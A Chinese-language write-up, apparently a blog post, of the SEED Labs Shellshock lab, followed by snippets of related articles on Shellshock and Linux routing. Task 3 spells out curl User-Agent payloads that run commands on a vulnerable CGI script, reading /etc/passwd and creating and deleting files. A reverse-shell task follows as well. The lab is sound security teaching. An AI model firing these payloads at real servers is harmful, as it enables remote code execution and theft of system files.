ShellShock20.04版本

article/2025/9/17 19:34:10

ShellShock20.04版本

Topic

  • shellshock
  • 环境变量
  • Bash中的函数定义
  • Apache和CGI程序

实验环境设置

DNS Setting

在这里插入图片描述

将IP10.9.0.80和www.seedlab-shellshock.com连接

使用cat /etc/hosts查看DNS设置

在这里插入图片描述

hosts格式配置

hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网上,每台主机都有一个ip地址,它区分开每台主机,并可以根据ip进行通讯。但是Ip地址不符合人脑的记忆规律,因此出现了域名,例如www.baidu.com.在一个局域网中,每台机器都有一个主机名,用于区分主机,便于相互访问。

hosts文件格式
ip地址 主机名/域名 (主机别名)

Docker实验容器安装

$ docker-compose build  # Build the container image
$ docker-compose up  # Start the container
$ docker-compose down  # Shut down the container$ dcbuild  # Alias for: docker-compose build
$ dcup  # Alias for: docker-compose up
$ dcdown  # Alias for: docker-compose down

在这里插入图片描述
在这里插入图片描述

关闭docker服务时,需要在新的终端,输入关闭指令

$ dockps  // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>  // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 进入到容器内部, *表示是需要进入的容器id
exit//退出指令

其中 ID号可以打印部分,因为ID号都是唯一的。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

TASK

Task 1: Experimenting with Bash Function

在这里插入图片描述

设计一个程序,对比正常的Shell和有漏洞的ShellShock对代码的解析,判断是当前Shell是否存在漏洞

在这里插入图片描述

bash_shellshock运行后,输出extra,且foo函数解析不全,故当前shell有漏洞。

Task 2: Passing Data to Bash via Environment Variable

在这里插入图片描述

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-v打印出HTTP请求和来自服务器的响应

-A选项,可以用来设置User-Agent字段

-e,改变Referer字段

-H,改变额外头字段

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task 3: Launching the Shellshock Attack

在这里插入图片描述

//窃取密码
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi//creat 
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

指令解析:

() { echo ”hello” ;};这一段就是新程序的一个函数。

echo Content_type: text/plain; echo;这一段就是告诉shell解析的时候保持为纯文本,不用其他的解释型语言来解析

/bin/cat /etc/passwd 查看/etc/passwd的文件内容。至于为什么不直接用cat指令,的确打印不出来,应该是无法识别,可能无法共享环境变量。

运行之后即可打开/etc/passwd文件

在这里插入图片描述

/ect/shadow文件需要root权限才能查看。seed用户通过/bin/cat 查看时会被拒绝访问

在这里插入图片描述

在这里插入图片描述

Question1:

不能从shadow窃取密码,shadow只有root权限和shadow权限,seed用户无权限读取。

在这里插入图片描述

Question2:

不能进行攻击,?之后的字符串能够注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要连续字符串;输入:

curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"

得到:
在这里插入图片描述

Taks4:Getting a Reverse Shell via Shellshock Attack

在这里插入图片描述

  • 攻击者端创建监听

在这里插入图片描述

  • 攻击者端创建反向Shell在这里插入图片描述

  • 命令解读

    10.9.0.1为主机IP,可通过ifconfig查看。链接至docker容器内的有漏洞的getenv.cgi程序执行。主机通过上述命令取得服务器的输入权限和输出反馈。
    在这里插入图片描述

  • 创建成功
    在这里插入图片描述

Task 5: Using the Patched Bash

在这里插入图片描述

如何修改docker内文件?一篇文章带你搞定如何在 Docker 创建的容器中修改配置

  1. 刚创建的 docker 容器,是没有 vi 命令的:
  2. 需要先执行:apt-get update
  3. 待更新完毕,再执行apt-get install vim,安装 vi
  4. 至此,vi 命令安装成功,接下来便可以在 docker 容器中执行修改文件操作
  5. 进入docker,修改docker文件

在这里插入图片描述

  1. 执行task3指令
    在这里插入图片描述
    在这里插入图片描述

正常的bash,对该命令不会错误解析,造成ShellShock攻击,且能正确打印环境变量


http://chatgpt.dhexx.cn/article/C8msqc3b.shtml

相关文章

Shellshock漏洞复现

Shellshock漏洞复现 bash说明漏洞原理漏洞复现环境说明漏洞条件漏洞复现 bash说明 Bash是Unix shell的一种。1989年发布第一个正式版本&#xff0c;原先是计划用在GNU操作系统上&#xff0c;但能运行于大多数类Unix系统的操作系统之上。 漏洞原理 目前的Bash使用的环境变量是通…

Shellshock-破壳漏洞bash命令执行 CVE-2014-6271

影响版本 标志&#xff1a;GNU Bash < 4.3 shelshocke简介&#xff1a; shellshock即unix 系统下的bash shell的一个漏洞&#xff0c;Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞&#xff0c;向环境变量值内的函数定义后添加多余的字符串会触发此漏洞&…

Bash 破壳漏洞Shellshock (CVE-2014-6271)复现

漏洞简介 GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞&#xff0c;向环境变量值内的函数定义后添加多余的字符串会触发此漏洞&#xff0c;攻击者可利用此漏洞改变或绕过环境限制&#xff0c;以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提…

Shellshock Attack SEED-LAB

实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中&#xff0c;web服务器容器的IP地址为10.9.0.80。服务器的主机名为www.seedlab-shellshock.com。我们需要将此名称映射到IP地址。请将以下内容添加到/etc/hosts。您需要使用root权限来修改此文件 10.9.0.80 www.…

Shellshock Lab

注&#xff1a;全文如下&#xff0c;同时欢迎参观我的个人博客&#xff1a;Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日&#xff0c;发现了 bash 中的一个严重漏洞。 该漏洞绰号为 Shellshock&#xff0c;可以利用许多系统并从远程或从本地计算机启动。…

CVE-2014-6271-bash shellshock-破壳漏洞复现

破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处理某些请求…

Vulhub-Shellshock Remote Command Injection (CVE-2014-6271)

Shellshock远程命令注入 验证 $ env x() { :;}; echo vulnerable bash -c echo hello 在终端中运行上面的命令&#xff0c;如果返回有vulnerable&#xff0c;就说明这台服务器中枪了。 把命令中的bash替换成其他类型的shell&#xff0c;可以检查机器上其他shell是否中枪。 1、…

Shellshock(bashdoor)漏洞详细分析、复现

一、Shellshock的背景 Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

linux网络知识:路由策略(ip rule,ip route)

目录 一&#xff0c;路由策略&#xff08;使用ip rule命令操作路由策略数据库&#xff09; 二&#xff0c;路由表&#xff08;使用ip route命令操作静态路由表&#xff09; 三&#xff0c; ip rule&#xff0c;ip route&#xff0c;iptables 三者之间的关系 一&#xff0c;路…

iproute2 命令详解

iproute2 命令详解 一、和netstat说再见二、篡权的ss三、被ip取代的命令 博客环境说明&#xff1a; 系统版本&#xff1a;CentOS Linux release 7.7.1908 (Core) yum源:阿里源 一、和netstat说再见 netstat命令详解点击这里查看 二、篡权的ss centos安装iproute2命令: yum ins…

linux之ip route命令

1.基础知识 1.1 路由 &#xff08;Routing&#xff09; 1.1.1 路由策略 &#xff08;使用 ip rule 命令操作路由策略数据库&#xff09; 基于策略的路由比传统路由在功能上更强大&#xff0c;使用更灵活&#xff0c;它使网络管理员不仅能够根据目的地址而且能够根据报文大小、应…

Linux系统route、ip route、ip rule简介

一、相关概念 1. 路由&#xff08;Routing&#xff09; 路由是指设备从一个接口上收到数据包&#xff0c;根据数据包的目的地址进行定向并转发到另一个接口的过程。 2. 路由表&#xff08;routing table&#xff09; 所谓路由表&#xff0c;是指路由器或者其它互联网网络设…

Linux 路由的添加删除-ip route

本文为joshua317原创文章,转载请注明&#xff1a;转载自joshua317博客 Linux 路由的添加删除-ip route - joshua317的博客 一、路由查看 # route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default …

Arch LInux | 网络管理工具iproute2(网络接口、ip地址、路由表)

一、iproute2 Arch LInux已经弃用了 net-tools&#xff0c;转而使用 iproute2。 iproute2提供 ip 命令行接口&#xff0c;用于管理网络接口&#xff0c;IP地址。路由表。 使用 ip 命令配置的信息会在系统重启后丢失&#xff0c;要进行永久配置&#xff0c;可以使用网络管理器…

Linux ip route 常用配置

Linux ip route 常用配置 路由&#xff1a; 路由器的主要工作就是为经过路由器的每个数据包寻找一条最佳的传输路径&#xff0c;并将该数据有效地传送到目的站点。由此可见&#xff0c;选择最佳路径的策略即路由算法是路由器的关键所在。为了完成这项工作&#xff0c;在路由器…

iproute2路由配置(ip rule、ip route、traceroute)

一、Iproute2简介 Iproute2是一个在Linux下的高级网络管理工具软件。实际上&#xff0c;它是通过rtnetlink sockets方式动态配置内核的一些小工具组成的&#xff0c;从Linux2.2内核开始&#xff0c;Alexey Kuznetsov 实现了通过rtnetlink sockets用来配置网络协议栈&#xff0c…

iproute2编译安装

1、下载iproute2 cd /usr/local/src/ git clone https://github.com/shemminger/iproute2.git稳定版本库 git://git.kernel.org/pub/scm/network/iproute2/iproute2.git 2、下载编译安装libmnl git clone git://git.netfilter.org/libmnl cd libmnl/ sh autogen.sh ./confi…

ip route配置单个网关

环境&#xff1a; 树莓派通过网线连接laptop&#xff0c;走eth0网卡&#xff0c;用于ssh远程树莓派连接wifi&#xff0c;走wlan0网卡&#xff0c;用于访问外网 需求&#xff1a; 现在要让树莓派同时连接两个网络&#xff0c;必须能通过wifi上外网&#xff0c;通过网线能用笔…

ip route内容详解

------分割线------ 我们在k8s-calico2这个node上来看。执行ip r, 在这个node的路由中&#xff0c;需要我们关注的有&#xff1a; 192.168.97.2 dev calic285cddbb40 scope link blackhole 192.168.97.0/26 proto bird 192.168.210.192/26 via 10.173.32.26 dev eth0 proto…

华为路由器静态路由协议配置

华为路由器配置静态路由 静态路由 静态路由&#xff0c;一种路由的方式&#xff0c;路由项&#xff09;由手动配置&#xff0c;而非动态决定。与动态路由不同&#xff0c;静态路由是固定的&#xff0c;不会改变&#xff0c;即使网络状况已经改变或是重新被组态。一般来说&…